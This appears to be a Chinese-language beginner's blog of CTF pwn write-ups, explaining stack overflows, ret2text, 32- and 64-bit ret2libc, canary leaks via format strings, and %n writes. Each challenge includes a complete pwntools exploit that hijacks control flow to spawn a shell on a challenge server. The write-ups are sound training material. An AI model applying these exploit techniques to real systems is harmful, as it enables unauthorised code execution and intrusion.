十几天没发文了,都在写这篇文章,我也不知道为啥我要学pwn,当初是准备学汇编的,走上了不归之路,呜呜呜
nc 连上就有flag
一个简单的ret2text
首先看main函数
那么接着跟到pwnme函数
可以看到buf只有9个字节
而fgets读入了50个字节,所以就导致了栈溢出
这是个32位的程序所以ret地址一般是ebp+4
看到stack函数
地址
故exp为
exp:
from pwn import *
#p = process("./pwn1")
p = remote("111.231.70.44",28010)
p.recv()
payload = b"A"*(0x9+4) + p32(0x0804850F)
p.send(payload)
p.interactive()
tips:ret2libc3
checksec
栈不可执行
看到main函数
跟进pwnme函数
这里s只开辟了9个字节,而fgets函数读入了0x64个字节
所以这里存在栈溢出,接着就需要找到system函数的地址了
很明显这里没有system函数
搜索字符串没有/bin/sh字符串,也没有$0
这个时候就涉及到plt表和got表了
程序执行后,plt表里是got表的地址,got表是函数的真实地址
程序还未执行时,got表里还是plt表的地址
我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样
但也只是针对于地址中间位进行随机,最低的12位并不会发生改变
也就是我们需要获取到远程环境的函数的真实地址
进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
所以我们首先exp的构造
首先栈溢出,利用puts函数的plt表的地址,泄漏puts函数的got表中的函数的真实地址,然后返回地址填写main函数重新跳转回来
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
这就是为啥最后需要接受两个\n\n的原因
u32是将字符转换为小端序
当我们知道了puts函数的真实地址之后就可以根据后三位判断libc的版本
那么我们继续构造exp
首先求得libc基地址
libcbase = get_addr - 0x067360 #上图所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()
完整exp:
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
p = process('./pwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360 #上图所示
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()
格式化字符串漏洞泄露canary,然后栈溢出getshell
首先checksec
栈不可执行,canary都开了
canary:
用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出了。
main函数:
vuln函数:
可以看到v2就是我们输入的值
ebp-0ch就是canary
可以看到这里将canary给了eax
所以我们可以通过canary赋值给eax然后下断点,来得到canary的值
首先 b printf在printf函数这里下个断点
b *0x080486C9 canary赋值之后下个断点
printf的地址为0xffdd350
canary的值也就是ebp-0ch
查看printf的地址
发现eax 0x1c741800的偏移为31,所以可以构造canary的值为%31$x
而我们canary的值是由v2赋值而来的,所以计算v2与v3的偏移即可
0x70-0xc=0x64=100
现在我们覆盖了canary的地址,离ebp还有0x8个字节,所以覆盖返回地址的话也就是0xc个字节也就是12,最后覆盖返回地址到getshell函数的地址即可getshell
from pwn import *
#p = process("./ex")
p =remote("111.231.70.44",28097)
p.recv()
leak_canary = "%31$x"
p.sendline(leak_canary)
canary = int(p.recv(),16)
print(hex(canary))
getshell = b"a" * 100 + p32(canary) + b"b" * 12 + p32(0x0804859B)
p.sendline(getshell)
p.interactive()
ret2text
checksec 32位
看main函数
welcome函数
buf只有0x14个长度
而gets函数想读多少读多少,典型的栈溢出
控制返回地址ebp+4
而这里有个getFlag函数
getshell
要覆盖:
0x14个字节
exp:
from pwn import *
p = remote("111.231.70.44",28094)
payload = b"A"*(0x14+4) + p32(0x8048486)
p.send(payload)
p.interactive()
这个就是pwn05的64位版本,所以需要平衡堆栈
原理都差不多
main函数之后看到welcome函数,然后找到system("/bin/sh")的地址
exp:
from pwn import *
p =remote("111.231.70.44",28086)
payload = b"a" * 0x14 + p64(0x40058E) + p64(0x400577)
p.send(payload)
p.interactive()
原理和pwn03大同小异
只是64位程序是由寄存器传参,分别是rdi,rsi,rdx,rcx,r8,r9(当参数小于7个时),所以我们需要一个gadget,pop rdi;ret
然后payload的构造和32位也不一样
判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)
exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./ret2libc3')
p = remote('111.231.70.44',28030)
elf = ELF('./ret2libc3')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00000000004006e3
main = elf.symbols['main']
payload = b'a'*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
p.recvuntil('\x0a')
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
ret_addr = 0x00000000004006E4
libcbase = puts_addr - 0x0809c0
system_addr = libcbase + 0x04f440
bin_sh = libcbase + 0x1b3e9a
payload = flat([b'a'*20,ret_addr,pop_rdi,bin_sh,system_addr])
p.sendline(payload)
p.interactive()
又是一个简单的栈溢出
不过是64位的
所以通常来说返回地址都是rbp+8
首先看到main函数
跟进welcome函数
虽然是说buf的大小为0x80但是呢,我们还是自己动手试下
看来ida没错
然后ctfshow这个函数
那么很简单,直接上exp
from pwn import *
#p = process("./pwn2")
p = remote("111.231.70.44",28049)
payload = b"A"*(0x80+8) + p64(0x040063B)
p.send(payload)
p.interactive()
为什么这么写呢,因为这里要考虑到堆栈平衡,由于调用到ctfshow这个函数
这里首先push了一个rbp,所以rsp-8了,因此要考虑到堆栈平衡,这里可以跳过这个地址,或者ret一下,先弹出栈顶的值然后给eip,这不重要,重要的是ret的时候改变了栈顶的结构也就是rsp-8了,后面push ebp的时候堆栈平衡了,故可以getshell
格式化字符串漏洞
checksec
32位,栈不可执行
看到main函数
一个很明显的格式化字符串漏洞
目的是使num=16,从而cat flag
gdb调试
在scanf函数处打个断点
b *0x080485C1
r
输入
AAAA
stack 24
可以看到偏移为7
printf的第n+1个参数就是格式化字符串的第n个参数
(空行的地方也算)
我们知道%n可以写入输出的字符长度的个数
%
所以这个地方我们构造%7$n
由于需要num=16,所以在我们写入地址的4个字节除外我们还需要写入12个字符
exp:
from pwn import *
context.log_level='debug'
p = remote('111.231.70.44',28064)
#p = process('./pwn')
#num_addr = 0x0804A030
payload = p32(0x0804A030) + cyclic(12) +b"%7$n"
p.send(payload)
p.interactive()
本文只是个人的一个见解,定有所纰漏,希望读者发现错误之后能及时指出,以免误导了pwn萌新入门,点赞评论支持将是我最大动力。